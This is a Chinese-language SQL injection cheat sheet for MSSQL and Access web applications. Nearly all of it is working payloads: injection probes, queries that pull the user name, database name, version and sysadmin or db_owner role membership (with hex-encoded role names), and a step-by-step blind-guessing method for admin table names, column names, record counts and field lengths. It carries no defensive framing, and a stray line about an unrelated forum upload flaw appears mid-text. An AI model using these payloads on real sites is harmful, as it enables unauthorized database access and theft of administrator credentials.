SQL注入是从正常的WWW端口通过对页面请求访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙很少会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。SQL注入的手法相当灵活,可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。
是否支持多句查询
@a int–
是否支持子查询
and (Select count(1) from [sysobjects])>=0
返回用户名
And user%2Bchar(124)=0
当前用户是否为 sysadmin 固定服务器角色的成员。
And Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1
PS:0×730079007300610064006D0069006E00 = sysadmin
当前用户是否为 db_owner 固定数据库角色的成员
And Cast(IS_MEMBER(0×640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1
0×640062005F006F0077006E0065007200 = db_owner
返回数据库名
And db_name()%2Bchar(124)=0
操作系统和SQLserver版本
And @@version = 1
本地服务器名称
And @@SERVERNAME = 1
获得第一个表名
And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0
动网论坛上传文件漏洞基本原理Web 服务器iis安全权限设置
判断是否存在注入漏洞
int(整数型)时的分析: and 1=1 and 1=2
字符型参数注入点分析: ' and '1'='1和' and '1'='2
数据库类型的判断:
and exists (select count(*) from sysobjects)
and exists (select count(*) from msysobjects)
A。猜表!
用到的语句:and exists (select count(*) from 你要猜的表名) 。在注入点后加上这句话,如果返回正常,说明你猜的表是存在的!比如
and exists (select count(*) from admin),如果返回正常,说明admin这张表存在!如果返回错误,就说明不存在!。别的表也都是这么猜!
B。猜列!
用到的语句:and (select count(列名) from 猜到的表名)>0 。在注入点后加上这句话,如果返回正常,说明你猜的列是存在的!比如
and (select count(username) from admin)>0,如果返回正常,那username这个列就存在!不过首先要确定from后面跟的表名要是存在的哦!不然你怎么猜都是错的!
C。检测记录数
用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)。在注入点后加上这句话,并不停地变换X这个数字,直到猜到准确的记录数为止!比如and (select count(*) from admin)>2 ,这个句子是猜admin表里有几条记录的,也就是有几个管理员(因为一个管理员对应一条记录嘛!)。如果返回正常,说明admin这张表里的记录数大于 2。这个时候我们把2改成别的大一点的数!比如5,如果返回错误,说明管理员的个数在2和5之间,2和5之间的整数是3和4,这个时候我们变换语句为 and (select count(*) from admin)=3或者=4,哪个返回正常那管理员的个数就是哪个。如果提交>5还返回错误,那就再取一个更大的数,再重复刚才的动作就可以猜到记录数!
D。检测字段长度
用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。我来解释一下这个句子,select top 1是查询第一条数据的意思!(在WEB环境下不支持多行回显!只是一次查询的数据不能超过一行!),len是MSSQL里的一个函数,用法是len(), ()里可以是字符串也可以是表达式也可以是列名!知道这些,大家应该可以看懂了吧!后面那个X的变换方法上面的一样!